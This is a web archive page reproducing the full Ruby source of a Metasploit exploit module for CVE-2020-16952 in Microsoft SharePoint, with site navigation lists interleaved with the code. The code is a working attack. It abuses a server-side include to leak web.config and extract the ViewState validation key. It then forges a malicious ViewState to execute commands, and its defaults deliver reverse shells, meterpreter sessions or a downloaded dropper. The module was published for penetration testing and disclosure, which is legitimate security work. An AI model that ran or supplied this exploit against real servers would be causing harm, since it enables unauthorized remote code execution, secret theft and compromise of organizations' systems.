Microsoft SharePoint SSI / ViewState Remote Code Execution

Authored by mr_me, wvu | Site metasploit.com

Posted Oct 19, 2020

This Metasploit module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key. This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint. The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization.

tags | exploit, web
advisories | CVE-2020-16952
SHA-256 | 8a772bb328a333818435b0fb7d18aa9de7efe3438db2021c6e23eafb2146379d Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::ViewState
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
        'Description' => %q{
          This module exploits a server-side include (SSI) in SharePoint to leak
          the web.config file and forge a malicious ViewState with the extracted
          validation key.

          This exploit is authenticated and requires a user with page creation
          privileges, which is a standard permission in SharePoint.

          The web.config file will be stored in loot once retrieved, and the
          VALIDATION_KEY option can be set to short-circuit the SSI and trigger
          the ViewState deserialization.

          Tested against SharePoint 2019 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16952'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
        ],
        'DisclosureDate' => '2020-10-13', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            'Arch' => ARCH_CMD,
            'Type' => :win_cmd,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
            }
          ],
          [
            'Windows Dropper',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :win_dropper,
            'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
            'DefaultOptions' => {
              'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
              'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
            }
          ],
          [
            'PowerShell Stager',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :psh_stager,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def vuln_builds
    [
      [Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013
      [Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016
      [Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019
    ]
  end
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

```
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Hat tip @tsellers-r7
    #
    # MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly
    unless (build_header = res.headers['MicrosoftSharePointTeamServices'])
      return CheckCode::Unknown('Target does not appear to be running SharePoint.')
    end

    unless (build = build_header.scan(/^([\d.]+):/).flatten.first)
      return CheckCode::Detected('Target did not respond with SharePoint build.')
    end

    if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    unless username && password
      fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      create_ssi_page
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def create_ssi_page
    print_status("Creating page for SSI: #{ssi_path}")

    res = send_request_cgi(
      'method' => 'PUT',
      'uri' => ssi_path,
      'data' => ssi_page
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless [200, 201].include?(res.code)
      if res.code == 401
        fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
      end

      fail_with(Failure::NotFound, 'Failed to create page')
    end

    print_good('Successfully created page')
    @page_created = true
  end

  def leak_web_config
    print_status('Leaking web.config')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => ssi_path,
      'headers' => {
        ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
      }
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
    end

    unless (web_config = res.get_xml_document.at('//configuration'))
      fail_with(Failure::NotFound, 'Failed to extract web.config from response')
    end

    print_good("Saved web.config to: #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml,
'web.config', name)}")

    unless (@validation_key = extract_viewstate_validation_key(web_config))
      fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
    end

    print_good("ViewState validation key: #{@validation_key}")
  ensure
    delete_ssi_page if @page_created
  end

  def delete_ssi_page
    print_status("Deleting #{ssi_path}")

    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => ssi_path,
      'partial' => true
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 204
      print_warning('Failed to delete page')
      return
    end

    print_good('Successfully deleted page')
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),
      'vars_post' => {
        '__VIEWSTATE' => generate_viewstate_payload(
          cmd,
          extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx
          algo: 'sha256',
          key: pack_viewstate_validation_key(@validation_key)
        )
      }
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
    end

    vprint_good('Successfully executed command')
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
  end

  def ssi_page
    <<~XML
      <WebPartPages:DataFormWebPart runat="server">
      <ParameterBindings>
        <ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
      </ParameterBindings>
        <xsl>
          <xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
            <xsl:param name="#{ssi_param}" />
            <xsl:template match="/">
              <xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
            </xsl:template>
          </xsl:stylesheet>
        </xsl>
      </WebPartPages:DataFormWebPart>
    XML
  end

  def ssi_path
    @ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
  end

  def ssi_header
    @ssi_header ||= rand_text_alphanumeric(8..42)
  end

  def ssi_param
    @ssi_param ||= rand_text_alphanumeric(8..42)
  end

end
```

Login or Register to add favorites